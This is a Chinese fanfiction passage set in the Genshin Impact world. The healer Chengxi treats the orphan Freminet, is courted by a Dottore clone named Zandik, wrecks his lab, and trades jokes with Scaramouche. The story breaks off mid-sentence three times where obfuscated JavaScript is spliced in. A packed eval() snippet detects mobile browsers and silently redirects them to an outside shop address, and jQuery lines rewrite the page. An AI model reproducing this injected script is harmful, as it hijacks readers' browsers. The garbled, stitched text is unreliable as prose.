淡金头发的小家伙靠在墙角,双手抱着膝盖。听到有脚步声,才朝这边抬起了头。 乘晞有些惊讶——“菲米尼?” 面具少年有些惊讶,“大哥哥,你们认识?” 这自然是乘晞与对方的初次见面。菲米尼也未曾想到对方会知道自己的名字,怯生生的开口,“你好……请问你是谁……” “不好意思,”没等乘晞回答,菲米尼又小声道歉,“但我、我对你不太有印象……” “是在采访视频中见到过你啦。”乘晞走近蹲下,与对方平视。 菲米尼微微睁大了眼。他知道那次视频拍摄,官员、摄像师、记者……来了好多人。他平日里总独来独往,既不表现出众也不能说会道,因此也未曾被工作人员选中发言。林尼和琳妮特在镜头前有说有笑,他只是蹲在角落里,低着头摆弄自己的发条企鹅。 在那段视频里,他始终充当毫无存在感的背景板。菲米尼从没想过,自己会被对方注意到,甚至还记下了名字。 “听说壁炉之家有个擅长和机械打交道的小朋友,”乘晞笑眯眯道,“停摆的时钟能在他手中重新跳动,脱节的齿轮也能在他手里重新运转,沉眠的零件被他修理一番,都可以再度苏醒过来。” “这也、也不算什么……”金发小朋友的脸色有些发红。 “不善与人交往”一向是被贴在他身上的标签,菲米尼第一次听到旁人并未这样形容他,而是说他在机械方面颇有研究。 新奇与羞赧的情绪交织,他试图做个鸵鸟将自己埋起来。 “我叫乘晞,也是愚人众的一员,”乘晞关切道,“你们今天去执行任务了吧,我也算是个治疗师,如果你受伤了的话,可以让我看看吗?” 菲米尼沉默了好一会,才掀开盖住双腿的外套,露出腿上的伤口。 少年细瘦的大腿上有道狰狞的血痕,似乎是被钝器划破的,大概有手指长,边缘处结着不规整的血痂。 伤口恐怕有很长时间了,乘晞看着都疼,难以想象菲米尼是什么时候受的伤、又独自一人忍受了多久的疼痛。 “被什么东西伤到的?”他将小家伙的腿放平,令对方放松,“怎么也不知道处理一下。” 乘晞语速极快但清晰的向对方科普了一些急救知识,诸如受伤后应该是用哪些药剂擦涂、如果身在野外能用什么应急、出血时该如何包扎等等。 面具少年也蹲在一旁听。 乘晞对壁炉之家不熟,便问少年什么地方有棉纱和药,请对方取来些,他来帮菲米尼处理伤口。 少年点点头,作势要起身,却被菲米尼拦住,“别去……” 面具少年了然的收回脚步,叹了口气。 菲米尼手攥成拳,抵着脸上的雀斑,断断续续将事情的原委道来。 原来,他今天是偷偷出去做任务的。 壁炉之家会给孩子们定期派发任务,种类各异,难易程度可由他们自行选择,频率也不会影响到他们的正常生活。 菲米尼没有出众的能力,也没有讨喜的性格,在壁炉之家几乎是个边缘人物。童年的创伤在心底留下了无法泯灭的疤痕,他是个受了训斥即便想哭,也要强忍着躲到潜入水里再哭的性格。 壁炉之家两代易主,仆人的名号由库嘉维娜转向阿蕾奇诺。在执行官大人的安排下,菲米尼与林尼和琳妮特组成三人小队,结伴同行。 他感到无所适从。双子兄妹彼此熟悉且亲密,而他只是个外人,就像机械部件里硬塞进来的齿轮,衔接不上链条的转动,因而显得格格不入。 林尼似乎有读懂人心的能力,总能察觉到菲米尼隐藏的情绪,妥帖的加以安慰。琳妮特也是如此,默默以行动表示开解。菲米尼既感激,又愧疚,不知道如何应对外界的好意,也不知道该如何报答二人。 乘晞轻轻拍了拍菲米尼的肩,等待对方的情绪恢复平静。 日后默契无间的三人组,如今还处在磨合阶段。而这位未来极其出色的潜水员,如今还是个封闭自我的小朋友。 菲米尼希望能尽快提升自己,追上林尼与琳妮特的脚步。在兄妹二人接下难度较高的任务后,菲米尼也悄悄接取了同等级别的任务。 虽然林尼事先曾告诫过他要循序渐进,但菲米尼并未将这句话认真执行。他生怕自己走慢了一步,就会被另外二人抛下,重新成为被丢到角落里无用的零件。 任务的执行过程并不顺利。他未能在原本的规定时间内将任务完成,只得趁公开课活动热闹的日子溜出门外,再次前往任务地点。 恰逢阿蕾奇诺大人最近公务繁忙,并没有注意到他的缺席。 战斗过程十分惊险,好在菲米尼最后关头采用了非常手段,也算将任务圆满完成。 但如果此时叫人去拿药,他受伤的事情被人发现,偷溜的行为也会跟着一起瞒不住。 这也是菲米尼宁愿独自在角落里忍痛,也不肯回去见人的原因。 听对方说完这些,乘晞轻轻握住小家伙微凉的双手。 “谢谢你对我坦诚。” 菲米尼下意识想要退避,但在听清对方话语的时候,却僵在原地。他有些不敢置信。 原以为对方会说自己愚蠢、鲁莽、怯懦、眼高手低、毫无计划……可最终等来的,竟是这样一句温和又真诚的夸赞。 菲米尼海蓝色的眼睛里变得潮湿,却强忍着没让自己落泪。 乘晞识趣的移开注意,查探起对方的伤情。 菲米尼悄悄打量着对方,心想这个银灰头发的大哥哥身上似乎有种魔力,能让人下意识的信任。 他也向乘晞打开了心扉,坦白自己没能将情绪控制好,战斗过程为了求快,才受了这样的伤。 菲米尼昨日和双子兄妹说自己身体不适,以今天想要休息为借口,请假没去公开课。 原本他准备悄悄溜出去,做完任务再悄悄返回,但如今挂了彩,只要被兄妹二人见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对方小臂正中一道细长的伤口,流淌的血迹沾湿了衣料。 “你怎么也受伤了!”乘晞拉起少年,让对方在平坦处坐下。 伤口血迹未干,新鲜得仿佛是刚划出来的。 乘晞将这个想法丢出脑海——他还不觉得这小孩有某种自残倾向。 面具少年低声解释,“我凝血功能不太好。” 在乘晞看不见的角度,他背在身后的那只手,将带血的刀片藏匿于衣袖之中。 乘晞再次调用面板,给对方治伤。 神奇的是,在治疗结束后,那道伤口的血液也逐渐凝固。 乘晞舒了口气,心想莫非面板的治疗能力还能改善人体的凝血? 面具少年捧着受伤的手臂,不知道在发呆还是怎么,在原地好一阵没有动作。 乘晞正想开口,就听不远处叮咣几声,菲米尼的机械装备散落一地。他闻声望过去,见小孩子头歪向一侧,整个人完全失去了支撑,沿着墙壁向地上倒去。 乘晞立刻跳起来,冲上前将跌倒的菲米尼扶住,“你怎么了!” 但菲米尼并未回应,显然已经不省人事。 乘晞干脆利落的踢开金属零件,将外套和地上的破旧软垫拖过来,将菲米尼扶着缓缓躺平。 他检查了对方的呼吸和脉搏,所幸生命体征正常,只是暂时晕了过去。 面具少年依旧盯着自己的伤处,发出了一声混杂着喜悦与感叹的气音。 他似乎被不远处的金属碰撞声音吵到,才回过神那般,将目光移向声源。 乘晞忙于查探菲米尼的情况,自然不会注意到其他地方的动静。 面具少年托着下巴,饶有兴致的看着对方忙前忙后。 菲米尼的晕倒完全出乎乘晞意料。他并不会觉得是自己的治疗出现问题,毕竟面板的能力几乎是作弊的,在概念层面回血不可能出错。 那么答案便只有一个了——菲米尼对他隐瞒了身上的其他伤情。 乘晞将人转移到光线稍亮的位置,发现对方的嘴唇泛白,指尖也有些发紫。 初步判断,这是失血过多的表现,但乘晞左看右看,也没在菲米尼身上找到其他伤口。 乘晞不信邪的在对方衣服里摸索,有什么东西啪嗒一声掉出来。 灰黑的金属中央,圆形物质散发着暗光。 乘晞神色严肃了几分——是一枚邪眼。 乘晞将邪眼捡起来,拿在手中认真观察。这是他第一次如此近距离的接触这种装置。 不同于因神明投射注视而获得的神之眼,邪眼由至冬的科研团队研发,以魔神战争残留的祟神残渣为核心,实现元素力的驱动功能。 邪眼能够将元素力以便携的体积传导,并进行强制驱动。对于不拥有元素魔力的人而言,可以起到神之眼的替代作用。 这样逆天而行的装置,使用起来自然不可能毫无代价。 面具少年不知道什么时候凑了过来,佯装不知道这边的情况,“怎么了?” 乘晞的脸色有些难看,捏着邪眼指向菲米尼:“他透支了生命力?” 34.34 “大哥哥,”面具少年打量着乘晞的神色,“你看起来,似乎很排斥这个东西?” 一想到这孩子也是个伤员,乘晞以为自己的表情将对方吓到了,努力缓和脸色道,“这种东西很危险。” 面具少年将邪眼拿过去,拎在眼前打量一番,又还给乘晞,“这个还好,不是最低阶的邪眼。” 乘晞闻言,忧虑堪堪退回安全范围内。 愚人众的邪眼研发技术已经颇有一定基础。 最低阶邪眼的使用需要付出极大代价——透支使用者的生命。 改良后的邪眼有使用次数限制,如果过量使用,会导致人体器官衰竭。 更高阶的邪眼能够施展元素力,并对武器增加附魔。 特殊强化的邪眼则能够调用深渊力量,而执行官级别的邪眼则采用最高级别的特殊工艺,负面影响被降到了最低,仅仅对使用者造成体力透支。 “菲米尼有冰系神之眼,”面具少年安慰道,“他天然拥有元素适应性,能削弱动用邪眼造成的损耗。” 而乘晞担心的却恰恰于此,“削弱损耗的基础上,还伤成了这个模样……他要是没有神之眼,现在岂不是就得进抢救室了?” 没有神之眼的话,现在进的应该是太平间——面具少年这样想。 口中还是担忧的语气道,“那他的情况,该怎么处理呢……” 乘晞深吸一口气,“我试试。” “大哥哥,你的治疗魔法居然这么厉害,”面具少年惊讶赞叹,“就算是都城的治疗中心,也该将你奉为座上宾的。” 乘晞则摇摇头,“我并没有万全的把握。” 他尚且只能推测菲米尼错误使用了邪眼,但具体的原有无法知晓,除非对方醒来才能询问。 不知道是使用方式错误,还是使用次数超限,又或者调用的力量出现问题,或者邪眼本身发生了故障。 “这就意味着,他目前的情况可能是部分透支了生命力、体内元素力紊乱、祟神怨念侵染、深渊力量反噬其中的一种或几种,”乘晞有些发愁,“甚至是什么我也没能考虑到的缘由。” “也可能只是大量体力的暂时透支。”面具少年补充了个最乐观的猜想。 乘晞没打击对方的积极性,但以菲米尼的状态而言,体力透支在病情诊断里只能排到最后面去。 “联系一下你们执行官大人吧,”乘晞做出了最坏的打算,“他这种情况,最好叫专业的治疗师来处理。” 在等待救援的这段时间,他也只能用自己的面板再次做出尝试。 面具少年点头应下,乘晞的掌心则再次泛起白光。 他从未处理过这种伤情,只在面板中为昏迷不醒的小家伙使用各类治愈料理。 直到身旁发出惊呼,乘晞将意识从面板抽离,才发现面具少年拨开了菲米尼的碎发。 原本昏迷不起的小家伙,此时眼帘一颤一颤的。持续数秒后,竟然奇迹般的苏醒过来。 乘晞心中的大石终于落地。 “恢复了!”面具少年按住菲米尼的肩膀,“感觉怎么样,可还有不舒服吗?” 菲米尼不适应这样近距离的接触,徒劳的后撤但没能躲开,“我……居然没事了……” 不用猜也知道自己受到过治疗,菲米尼感激的看向乘晞,紧接着又低头道歉:“对不起……” 邪眼被放在他身旁,菲米尼清楚对方大概已经猜到了缘由。他重复着道歉的三个字,不知道该如何开口,向对方解释自己的隐瞒。 出任务的时候,他情急之下过度使用了邪眼,才导致如今的局面。当时他就感知到身体的不对劲,但没敢向任何人求助,只想默默忍受一切,等待自己恢复……直到之后撑不住而失去意识。 “消息还能撤回吗?”乘晞问面具少年,“先不用联系你们执行官了。” 他为菲米尼着想,以小家伙的性格,一定不希望被仆人知道自己的所作所为。如今既然已经脱险,乘晞也并非不能帮助隐瞒。 “好。”根本没打算发送联络消息的面具少年点头。 “但我的伤口……”菲米尼有些迟疑。他虽然已经脱险,但醒目的伤口依然保持着原状,难以隐藏。 “我知道有个办法,可以悄悄去到医院。”面具少年提议。 菲米尼原本想请求二人在壁炉之家内找些绷带,动作隐蔽些不引人注意就好。但少年已经提出了其他方案,他便没再开口。 乘晞也跟随二人同去,也随时观察菲米尼的身体状况,以防再出现什么意外。 由面具少年领路,几人从一扇破损的窗口进入了废弃建筑。 面具少年似乎对这里十分熟悉。夜色昏暗,回廊中的能见度很低,但哪里该直行、哪里要转弯,他的脚步不曾犹豫。 绕进一个空房间后,墙面上闪烁着微弱的荧光。乘晞凝神看去,发现荧光勾勒出的形状是某种魔法阵。 魔法阵绘制在房间另一端的门上。乘晞不通此道,但凭借直觉判断,纹样与招新试炼秘境的传送阵类似,乘晞猜测这个法阵同样有传送作用。 面具少年在魔法阵中央抹了抹,随后推开了门。 他做出“请”的动作:“走吧。” 菲米尼上前一步,乘晞也跟着穿过门扉。 荧光闪烁,脚下出现了失重感,但短暂得仿佛幻觉。 乘晞只觉得自己迈出了一步,周围的环境却天翻地覆。 菲米尼也呆呆的打量着身边的一切。 明亮的灯光,光洁的地面,齐整的标牌,空气中弥散着浅淡的消毒剂气味,以及间歇传来的仪器运作提示音。 “这里……居然和壁炉之家相连?”金发少年小声疑惑。 乘晞则猜到了什么:“恐怕是库嘉维娜时期遗留的通道吧。” 先代仆人与博士达成过深度合作,将准备抛弃的孤儿送往博士处作为实验材料。这条通道大概就是在两地之间快速转运的传送手段。 听到先代仆人被提起,菲米尼的情绪沉寂下来。当初他被母亲送往壁炉之家,先代仆人亲切的欢迎了他,但转头就无情的告知是他的母亲将他抛弃。若非阿蕾奇诺大人上任之后,帮他取回了母亲的遗物、还原了一切的真相,菲米尼恐怕会此生被困在锥心的谎言之中。 面具少年打了个响指,也打散了这伤春悲秋的氛围:“治疗室就在前面。” 菲米尼被安置在治疗床上,面具少年端来满满当当的治疗盘。 乘晞拽来椅子坐下,开始处理伤口。 他并非专业的治疗师,掌握的医学知识也仅仅比常识多一点而已。但在场只有他年龄最大,他便自然而然担当起了重任。 面具少年拿起药剂瓶,检查过标签的有效期和开封时间,随后拧开瓶盖。 乘晞取出棉签蘸取药液,将伤口消毒。 狭长的伤口中残存了污渍,想必刺入过的锐器不怎么清洁。末端内陷卡住了碎石,仅凭棉签无法将其清洁彻底。 乘晞迟疑着判断,“可能需要剪开。” 面具少年反手递来用以清创的剪刀。 乘晞握着剪刀纠结,就听对方道,“上层的表皮已经离断,不会痛的。” 在少年的指导下,乘晞顺利清除了碎石,同时还注意着菲米尼的表情,确认对方并无不适后松了口气。 最后一步便是包扎。乘晞将纱布缠好,面具少年则接过手,将末端打了个结。 “这样就好了。” “谢谢你们……今天的事情……” 乘晞答应帮对方保密、不告诉仆人,但也提出了条件。 他要求菲米尼回到壁炉之家后,向林尼和琳妮特坦诚今天发生的一切。 菲米尼懵懂的应下了。 很久以后的他才意识到,那次坦诚是三人组关系突飞猛进的一大步。 “我送他回去。”面具少年带菲米尼离开。 两人原路返回。少年推开那扇来时的门,“走进去,就能回家了。” 菲米尼点头道谢,身影消失在门后。 在他抬脚的时候,口袋里那枚邪眼被面具少年无声无息的取走。 治疗室内。乘晞将废弃物分门别类的丢进垃圾桶,擦掉额头上的薄汗。 忙了这么久,还真是有些累人。 某种被窥视的感觉忽然出现。 乘晞冷不防回身,但映入眼帘的只有紧闭的房门,令他怀疑是否出现了幻觉。 他心道奇怪。 转念又想,医疗中心这个和博士沾边的地方,风水一定不太好。 “大哥哥,”门被从外推开,“我回来了。” “菲米尼已经安全返回,放心好——”面具少年轻快的语气说到一半,忽然脚下一歪。 乘晞的及时搭救使对方免于跌倒。他低头瞧这孩子的唇色,意识到和先前的菲米尼如出一辙:“你也动用过邪眼?” 他将对方扶到治疗床上,准备揭开脸上的面具。 “不要——”这少年不知哪里来的力气,都快痛到昏厥了,依然死死捂着面具不让乘晞取下。 救人要紧,乘晞只得妥协。 他在意识中展开面板,如法炮制的稳定了少年的情况。 片刻之后,少年恢复活力,发出了一句乘晞早已见怪不怪的感叹:“好神奇!” 乘晞告诫对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630608|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方今后慎用邪眼,但少年表示这真的只是意外。 乘晞心想以菲米尼的性格,任务中逞强调动邪眼有所可能,但面具少年不像是这样的行事方式,也不知为什么会跟着一起冲动。 壁炉之家的孩子们,果然都是被迫成长的。 “你第一次帮人处理伤口吗?”面具少年问。 “是这样。”乘晞点头。 “但你好像并不排斥。”少年试探的说,“注射针剂、用剪刀切断组织什么的……很多人都下不去手。” “我好歹也算是治疗师,”乘晞道,“况且情况摆在那里。” 在他握住刀柄的时候,目光就已开始丈量下刀的位置,刺入皮肉之后,思绪便开始决定进刀的深浅—— “就像修理一台仪器那样。”乘晞总结。 少年“哇”了一声,“我喜欢这个比喻。” “人体也只是一台精密的仪器罢了。拆解、组装、使用、维修……时间、情感、生命的搏动,都能在这台仪器上被观测。” “或许某些角度而言的确如此,”乘晞并不认同,“但人并不是仪器。” 他无意过多说教,转而回想起少年的情况,“比起我而言,你似乎更加熟悉这些东西。” 清创过程的顺利完成,少不了少年的引导。对方的每个动作都与乘晞的需求无缝衔接,取用物品的手法熟练且专业。 “做得多了,就熟悉了。”少年淡淡道。 乘晞一时无言。只有受过许多次的伤,才会在一次次处理中变得熟练……也是个可怜的小孩。 少年敏锐察觉到乘晞情绪的变化。 他手指搭在面具上,一下下点着,不知在思考什么。 乘晞:“那你之前不让我摘面具,也是因为……”你面容有损? “嗯嗯。”少年闷闷点头。 乘晞:“以如今的医疗技术,也不能整复吗?” 少年:“技术的革新需要从实践中不断累积,而实践总是有代价的。” 乘晞:“多托雷真该死啊。” 少年:“诶?” 乘晞:“好在那些都过去了。如今阿蕾奇诺大人接管壁炉之家,她不会再让你们任何人受到伤害了。” 少年:“哦……嗯嗯。” 乘晞觉得天色不早,是时候告别了。“我送你回去,我也要回驻地了。” 走出两步,发现面具少年并没有跟上,乘晞疑惑的回头。 “大哥哥,”少年坐在治疗床边沿,“你有没有兴趣加入我们?” 乘晞不明白对方在说什么,“我已经是愚人众了啊。” “不,”少年翘起唇角,“成为一个普通的治疗师、为莽撞的战士们收尾、做某个执行官的副官……肩负如此无趣的工作,简直是对你的侮辱。你的才能不应该被埋没,更不该被消磨在这种没有意义的事情之上。” “我的意义如何,由我自己而评判。”乘晞感到了被冒犯,皱眉正色道:“况且,你又是谁,凭什么对我加以界定?” “你真的不知道自己拥有怎样的能力么,”少年道,“祟神的外溢、深渊的影响、元素力的排异……在你的治疗魔法之下都能被消弭。” “或许你可以尝试,将你的能力用往他处。”少年循循善诱,“我经历过无数场实验,成功的次数总是寥寥无几。这是恒常不变的定律,但你的出现,能够打破这种规则……” 某种既视感在此时变得分外强烈。 看着少年卷曲的蓝色发丝,乘晞一阵恶寒。 ……不会吧。 少年还在滔滔不绝,乘晞突如其来的上前,一把掀掉了少年的面具。 被偷袭的少年下意识低头,但仅仅瞥了一眼落在地上的面具,并未将其拾起。 “哇哦。” 好快的速度,他几乎没能来得及反应,就已经被对方近身。 鲜少有人能在他面前做到这一点——就像是瞬移一样。 少年一眨不眨的望着乘晞,红眼睛里闪烁着兴奋的光芒。 那种被毒蛇锁定的感觉又出现了。 乘晞心中有无数脏话滚过——他的既视感原来不是假的:“多托雷!你有病吧!!” 他还以为这孩子是壁炉之家的成员,甚至脑补了一串凄惨的身世——这位少年,分明是博士的切片之一! 乘晞还担心过对方曾经是否作为实验体、受到过某种不愿将面目示人的创伤,但这个*璃月俚语*的真面目是一个实验研究起来连自己都切的*璃月俚语*。 “阿拉,人家也是有自己的名字的。”少年体切片歪头道,“你为什么用他的名字叫我,这很伤人呢大哥哥。” 35.35 “……”乘晞抖掉身上的鸡皮疙瘩。 “初次见面,我叫赞迪克。”少年体切片绅士的朝乘晞伸出手,“很高兴认识你。” 乘晞:“很不高兴认识你。” 赞迪克被对方这不按常理出牌的反应噎了一下。 乘晞一秒钟都不想在这片空间里多呆,扭头就走。 “砰”。门在乘晞眼前关上。 乘晞试图推门,但门板纹丝不动。 “不告而别的行为不可取,”赞迪克的声音响起,“总得让人把话说完吧。” 乘晞:“你想怎样?” 赞迪克的手中不知什么时候出现了一枚邪眼,他把邪眼轻轻抛起,又接住。 “你看,就这样一枚小东西,却支撑起愚人众的军备体系,让渺小的人类,也能够驱策本应归属于神明的力量。” 他有一下没一下的抛着,“邪眼力量与神之眼力量共鸣、可中断的能量屏蔽模块接驳、液态魔神试剂的稳定储存与持续输注……研究之路还远远没有走到尽头。” “源自覆灭古国的炼金术遗产,指引着这项逆向工程,或许能够撼动属于此方天地的规则。而你,来自「世界」之外,不受「规则」所困,”赞迪克的声音充满诱惑,“你难道就不愿意——” 乘晞:“没错,我不愿意。” 被打断施法的赞迪克:? “身怀如此特殊的能力,你就没有想过——” 乘晞:“我没想过。” 赞迪克:…… 这下,他确信对方是真的油盐不进。 回想对方在面具掀开前后对自己态度的差异,赞迪克真诚的疑惑,“你似乎对‘我’本人有不小的意见。” 乘晞心说何止是不小呢,“视力正常的人都看得出来。” 赞迪克并不气恼,“我可以问问为什么吗?” “你总不会对要你性命的人好言相向吧。”乘晞随口回答。 赞迪克无辜摊手:“多托雷干的事情,和我又有什么关系?” 身为对方的同位体,他对试炼秘境里发生的事情也知晓几分,“话说那个家伙,应该还不知道你没死成。” “你猜,如果我告诉他你还活着——”赞迪克仰起头,“会不会有第二个、第三个金瑞拉来找你的晦气?” “但我是一个讲道理的人,”他话音一转,“会帮助你保守这个秘密。” “你之前所说的,应该不是你对我这般态度的全部原因,”赞迪克确信对方的回答只是敷衍,“你来到至冬城的那天,是你第一次见到多托雷。当天我也在台下。” 言下之意,他那个时候就注意到了乘晞对博士的态度。 乘晞微笑:“你真的很好奇原因?” 赞迪克点头,“非常好奇。愿闻其详。” 乘晞微笑:“不告诉你。” “这里有精神科吧,”他真心实意的建议,“有时间纠结这些,不如去给自己挂个号。” 被人委婉的骂了,赞迪克却也没有气恼,甚至保持了审绅士的笑容。 “这里是至冬最大的诊疗中心,但也是我最喜欢用的一处研究基地。” 他触碰身后的墙壁,墙体逐渐变得透明,最后消散在他指尖。 通道铺展而开,一片全然不同的空间随之出现。 琳琅满目的试剂盒,各色标签的样本架,运转的仪器,弧形排列的光幕,跳动的字符。 赞迪克沿着通道信步前行,“最初,我就在这里开展了邪眼的零号实验。在此基础上的系列研究,如今仍在继续,已经迭代了数十个版本。” 他顺手拾起试验台上散落的标签,“而你的能力,可以为研究增加全新维度的变量。” “人各有志,”乘晞道,“而我,对你的实验和研究毫无兴趣。” “我在诚挚的邀请你成为‘实验者’,”赞迪克道,“又不是邀请你成为‘实验品’。比如将探针刺入你的肌层、针剂注射进你的静脉、提取你的能力并将其量化……” 面对毫不掩饰的威胁,乘晞不为所动。 “你想要什么,我都能满足你的需求。”赞迪克继续抛出橄榄枝,“你想要金钱,我团队的经费取之不尽用之不竭,你想要衔位,同执行官副官比起来,这里的高级研究员也不差什么。” 但乘晞想要的,从来都不是这些:“你未免也太自负了。” 赞迪克不以为意,“况且,你如今效忠的那位散兵,当初在这个地方,也不过是个比较耐活的实验品。” 乘晞被人正正踩中了雷点:“你再说一遍。” “哦?有意思。” 这是赞迪克首次如此明显的在乘晞身上感知到情绪变化。 先前无论他说什么,对方都是淡淡的。 直到散兵被他提起。 “你很在乎你的上司嘛。”赞迪克身体前倾,饶有兴致的观察乘晞的神态。 “——甚至在乎他,远超在乎你自己。” 赞迪克步步逼近,乘晞则谨慎的后退。 “你害怕我。”赞迪克得出结论。 他向旁边的实验台一倚,看着浑身写满戒备的乘晞,“你在恐惧,因为你清楚我与你之间的实力差异。” 连元素力都没有的普通人、堪与神明一战之力的执行官,二者如同鸿沟般不可逾越。 “你在愤怒,不过我没有兴趣去探究背后的原因。” 赞迪克终于显露出了他绅士面具下的傲慢本色,“毕竟——弱者的愤怒,毫无意义。” 刷—— 天空之脊出现在乘晞手中。 看着对方拿出武器,赞迪克被逗笑了,“原本以为你有几分才能,如今看来,终究是匹夫之勇。” “你要攻击我吗,那大可以试试看。我就站在这里,一步不挪。” 赞迪克姿态闲适的张开手臂,“你那枪尖,如果能碰到我的衣角,都算你赢。” 他想在乘晞脸上寻找屈辱或隐忍的表情,但却失败了。 乘晞倏然一笑,“谁说我要攻击你了?” 话音没落,银发少年就调转枪尖,对着身侧台面上的仪器一戳。 导线绷断,玻片哗啦啦碎了一地。 天空之脊不愧是金色武器,在乘晞的操纵之下,以迅雷不及掩耳之势对试验台进行了大师级桌面清理。 燃烧吧,博士的科研经费! 悦耳的碎裂声与碰撞声接连不断。 研究仪器十分金贵,平日里对护理液都有严格的筛选,哪里承受得住长枪的扫荡。 乘晞专挑贵的砸,赞迪克惊怒之下,完全来不及制止。 光屏上,平稳延长的折线忽然中断,数字文本也像抽了一样疯狂报错。 与之连接的仪器,在暴力破坏下被迫罢工。 距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“如果有什么奇怪的人邀请你去做什么奇怪的实验,千万别答应。”乘晞认真道,“男孩子出门在外,要保护好自己。” 散兵:? 他心说这种事情,脑子没问题的人都清楚的吧。 但见乘晞的语气郑重其事,散兵还是回应了对方,“嗯,我知道。” 乘晞听完眉头舒展了些许,依旧专注的望着对方。 背后传来一声咳嗽,不知道是不是终于看不下去了眼前的场景。 乘晞被吓一跳——房间里还有其他人在? 他循声望去,确实没瞧见旁人,不过桌面的光屏闪烁,正中央浮着个视频通话框。 划分齐整的小格子里,有好几张面孔。 最上边是丑角,面色有些复杂。 其余的人或陌生或熟悉,熟悉的几位诸如珍妮丝和杰卡德,眼神在四处乱瞟。要么看天要么看地,就是不和乘晞对视,还有一位干脆把眼睛捂住了,以此假装自己什么都不知道。 显然,这些人在开会。 而就在刚才,线上会议的所有成员都看着属于散兵的那块屏幕里,冲进个银发少年,二人在摄像头前上演了堪比偶像剧的桥段。 饶是乘晞脸皮极厚,这种时候也不免尴尬到脚趾扣出一栋至冬宫。 “哈哈……”他讪笑两声,“那个,你们,先忙。” 乘晞脚下丝滑的挪动,试图神不知鬼不觉的移除画面之外,“我就不打扰了。” 丑角看看他又看看散兵,“没关系的,可以理解。” 语气出乎意料的友善。 乘晞啪叽一声左脚绊右脚。 统括官大人,你到底理解了什么奇怪的东西啊…… 36.36 乘晞冲进画面的时候,会议差不多进行到了尾声。 屏幕中,几人又将相关事宜确认一遍,等乘晞从地上爬起来的时候,就已经宣告散会。 乘晞抻着脖子反复确认光屏已经熄灭,才丝滑的平移回到散兵身边。 散兵回想对方凭空出现在房间内的一瞬,“那就是你的‘传送’能力?” 乘晞骄傲点头。“说起来也很神奇,我仅仅将驻地作为目的地,居然能精准来到大人你的房间。这怎么不算是一种冥冥之中的心有灵犀……” 散兵已经对这家伙无时无刻不忘发朝他射爱心的行为产生了些许免疫。 “怎么回来得这么晚?” 提起之前的事情,乘晞立刻扁扁嘴,“外面有邪恶的人贩子!” “想要拉我入伙,还试图给人洗脑,先是诱惑,诱惑不成改作威胁,”乘晞声情并茂,“若非我心志坚定、机敏果敢、宁折不弯、绝不向恶势力屈服,大人你的心腹就要被别人骗走了。” 散兵:……心腹?这家伙? “心腹大患还差不多吧。” 乘晞“呜哇”一声,头顶的呆毛立刻耷拉下来。 他开始条条控诉博士的罪行,当然适度使用了修辞手法,比如把原本的三分说成十二分。 散兵慢慢眯起眼。但听着听着,就发现这家伙越说越没边。 乘晞添油加醋添枝加叶了好一会,终于把自己的经历讲完。他趴在桌面上,冲散兵眨巴眼睛。 银发少年浑身上下都写着:好可怜,求安慰。 散兵:……前边铺垫那么多,这里才是重点吧。 他瞥向银发少年的发顶。但看起来挺好摸的。 散兵伸手揉了一下。 是蓬松的,柔软的。 几乎在他抬手的瞬间,那截耷拉的呆毛就跟着翘了起来。 乘晞试图压下嘴角但失败,再也无法维持住装出来的可怜表情。 散兵:。 意料之中呢。 在复盘一遍博士少年体切片的所作所为之后,乘晞也察觉出许多违和之处。 比如赞迪克的伤不可能是在所谓的任务中受的,八成是他在见到乘晞的治疗魔法后,对对方的能力十分好奇、干脆弄伤自己以亲身体验。所谓的邪眼反噬,也大概率是故意为之,他想要再次确认乘晞的能力。 此外,菲米尼过度使用邪眼的事情,恐怕并不是巧合。难保在执行任务过程中受到赞迪克诱导,才做出了不理智的举动。 毕竟对方提到过邪眼力量与神之眼力量共鸣的课题,把主意打到拥有冰元素的菲米尼身上也是顺理成章。 散兵大概也想到了这些,没多久在通讯器上给乘晞发了条消息。 乘晞看着被推过来的联系人名片「仆人」,迅速意会。 他在键盘上敲敲打打,一篇礼貌且真诚的信件迅速形成。 乘晞将赞迪克的所作所为尽数告知,并贴心的描述了壁炉之家废弃建筑内传送法阵的所在地点,以便阿蕾奇诺保存证据并随时找对方算账。当然,他也没忘遵守约定模糊菲米尼的身份,把这个小家伙摘了出去。 给仆人传信并给博士添堵后,乘晞满意的收起通讯器。 他才熄灭屏幕,通讯器就振动两声。 乘晞一看,发现条个陌生人消息提示,消息内容是空白。 他把弹窗点开,见文本没有任何内容,只有附件写着[账单],日期就在今天。 乘晞把对方id的字母拼了一遍,拼出一个倒着写的赞迪克。 “……” 他点开账单,里面拉了个超长的表格,每行前边是拗口的专业名词,中间是数量,最后是带了一串零的价格。 总计那一行,汇总出的摩拉金额堪称天文数字。 乘晞从头看到尾,认出这些专业名词都是研究仪器,当然也是他的枪下亡魂。 这份简讯除了附件账单之外没有任何文字内容,充分表达了发信人的愤怒情绪。 在短短时间内完成定损并整理清晰,随后向始作俑者索要赔偿,不得不说,这位切片的行事风格确实很清奇。 乘晞没忍住好奇问:[你就这么直接找我要?] 先不说他有没有那些钱,但自己怎么看都不像会老实赔钱的样子吧。况且他还以为博士会是那种不屑与他屈尊对话、把事情捅给散兵让对方的上司来为之善后的类型。 赞迪克:[/微笑] 赞迪克:[如果你是想问我为什么没有向你的直属领导追责的话,在很久以前他就把我所有同位体的联系方式都拉黑了。] 乘晞:[不愧是散兵大人!] 赞迪克:[?] 赞迪克:[还钱。] 乘晞:[/中指] 赞迪克看着屏幕里竖起的中指,发送一句[你会后悔的]。 结果会话气泡加载了半天,出现一个红色感叹号。 